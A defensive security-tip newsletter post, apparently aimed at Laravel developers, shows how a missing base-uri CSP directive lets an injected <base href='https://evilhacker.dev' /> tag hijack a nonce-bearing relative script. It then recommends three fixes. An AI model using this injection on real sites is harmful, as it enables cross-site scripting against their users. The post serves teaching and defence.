Security Tip: Bypassing Content-Security-Policy with <base>!

[Tip #122] Content Security Policies are awesome, but if you haven't fully configured all of your directives, it's possible to redirect requests, inherit Nonces, and get juicy CSP-bypassing XSS! 😈

Security Tip: Bypassing Content-Security-Policy with <base>!

Following on from last week's Security Tip: When Is XSS Not Strictly XSS? (But Still Bad!) where we looked at some sneaky psuedo-XSS that bypasses your Content Security Policy, I wanted to explore another sneaky CSP bypass. This time using the <base> tag!

Let's start out with a simple XSS demo page with a strong CSP.

Here's the page:

Simple XSS demo.

And here's the CSP:

Content-Security-Policy: 
  default-src 'none' ; 
  connect-src 'self' ; 
  font-src https://fonts.bunny.net ; 
  img-src 'self' ; manifest-src 'self' ; 
  script-src 'report-sample' 'self' 'unsafe-eval' 'sha256-...' 'nonce-...' ; 
  style-src 'self' 'sha256-...' 'nonce-...' ; 
  form-action 'self' ; 
  frame-ancestors 'none'

Basic CSP for example page.

As you can see from the violation, the attempted XSS with <script>alert("Boom?")</script> has been blocked by the CSP.

However, there is an important directive missing from this CSP: base-uri!

The base-uri directive tells the browser what possible values can be used inside the <base> tag. If it's not included the browser will allow any values. (At this point, alarm bells should be ringing!)

And what does the <base> tag do, you ask?

<base> instructs the browser what base URL should be used for all relative URLs on the page... 😈

At the bottom of this particular page, is the following HTML:

</div>

<script src="/flux/flux.js?id=d09fcb6a" data-navigate-once nonce="..."></script>
<!-- Livewire Scripts -->
<script src="/livewire/livewire.js?id=df3a17f2" data-csrf="..." data-update-uri="/livewire/update" data-navigate-once="true"></script>
</body>
</html>

Note those lovely relative URLs of /flux/flux.js and /livewire/livewire.js? We can use <base> to hijack those and tell the browser to look for them on a domain we control!

To make things even better for us, /flux/flux.js includes a nonce so the CSP will happily load whatever script it points to, regardless of the domain!

Naturally I have the perfect domain, and have set up a little test script:

alert("Boom! Flux endpoint hijacked!");

https://evilhacker.dev/flux/flux.js

All we need to do now is add the <base> tag to the page:

<base href="https://evilhacker.dev" />

And submit...

Hijacked /flux/flux.js script bypassing XSS with the <base> tag.

That's it! 😈

Note there are no CSP violations in the browser console - nothing is stopping our script from running on the page. It's also not a traditional XSS tag or attribute, so there is a good chance less-robust or in-house HTML sanitisation efforts will completely overlook and allow the <base> tag in user inputted HTML.

My Recommendations:

There are three ways to fix this issue (you should do all three!):

  1. Prevent the <base> tag from being used anywhere in user input. (This loops back into the topic of using an allowlist of safe tags, rather than a blocklist of dangerous tags.)
  2. Inject your own <base> tag in the <head>, such as <base href="{{ url('/') }}" />. The browser will only honour the first <base> tag it comes across, so if you inject your own first, any subsequent tags will be ignored.
  3. Include the base-uri directive in your CSP, and either set it to 'none' if you don't need to use <base> or allow specific sources if you do need <base>.

If you found this security tip useful? 👍
Subscribe now to get weekly Security Tips straight to your inbox, filled with practical, actionable advice to help you build safer apps.

Want to learn more? 🤓
Upgrade to a Premium Subscription for exclusive monthly In Depth articles, or support my work with a one-off tip! Your support directly funds my security work in the Laravel community. 🥰

Need a second set of eyes on your code?
Book in a
Laravel Security Audit and Penetration Test today! I also offer budget-friendly Security Reviews too.

Finally, connect with me on Bluesky, or other socials, and check out Practical Laravel Security, my interactive course designed to boost your Laravel security skills.